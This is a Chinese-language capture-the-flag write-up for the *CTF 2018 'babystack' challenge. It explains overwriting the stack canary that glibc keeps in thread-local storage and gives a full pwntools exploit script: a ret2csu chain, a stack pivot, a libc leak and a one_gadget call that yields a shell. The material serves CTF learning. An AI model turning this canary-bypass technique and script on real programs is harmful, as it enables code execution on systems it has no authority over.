0%

【Pwn#0x0C】*CTF 2018 babystack

攻击GLIBC的TLS结构体,覆写Canary。
快速学习了一下Pthread,大致知道了多线程的用法。

starctf2018/pwn-babystack at master · sixstars/starctf2018 (github.com)

GLIBC 不仅把 Canary 放在 TLS(Thread Local Storage)中,还把 TLS 放在线程栈顶上(与线程栈有固定的偏移)。这就出现了覆写 Canary 的可能。


漏洞分析

程序逻辑很简单,就是开一个线程,然后这个线程里存在一个超大的栈溢出。

程序会用寄存器 fs 来存储 TLS 的位置,而 canary 就在 fs+0x28 的地方,如下结构体定义所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct  
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

为了栈溢出覆盖 canary,可以用 pwndbg 调试查看 TLS 的位置,计算 BUFFER 与其偏移:

1
2
3
4
5
6
7
pwndbg> thread 
[Current thread is 2 (Thread 0x7ffff7da4700 (LWP 27104))]
pwndbg> tls
Thread Local Storage (TLS) base: 0x7ffff7da4700

pwndbg> distance $rsi 0x7ffff7da4700
0x7ffff7da2ee0->0x7ffff7da4700 is 0x1820 bytes (0x304 words)

漏洞利用

由于第二次进入函数的时候总会发生奇怪的问题,这里使用了stack pivot,通过ret2csu调用read往bss段读入one_gadget地址,并leave;ret把栈换过去,执行one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./bs"
io = process([filename])
elf = ELF(filename)

libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
# libc_name = "./libc.so"
libc = ELF(libc_name)

def debug():
g = gdb.attach(io, """
thread 2
""")

canary = b'canaryyy'
nstack = 0x602f00
pop_rdi = 0x400c03
csu_end = 0x400bfa
csu_mid = 0x400be0
leave_ret = 0x400955

def pwn():
payload = b'a'*0x1008 + canary + b'a'*8
payload += flat(
pop_rdi, elf.got["puts"],
elf.plt["puts"],

csu_end, 0, 1, elf.got["read"], 0x8, nstack+8, 0,
csu_mid, 0, 0, nstack, 0, 0, 0, 0,

leave_ret,
)
payload = payload.ljust(0x1820+0x28, b'\0') + canary

io.sendlineafter(b"bytes", str(len(payload)).encode("ascii"))
io.send(payload)

io.recvuntil(b"goodbye.\n")
libc_base = unpack(io.recv()[0:6]+b'\0\0') - libc.symbols["puts"]
success("libc: " + hex(libc_base))

io.send(pack(libc_base + 0xe3afe))
io.interactive()


if __name__ == '__main__':
# debug()
pwn()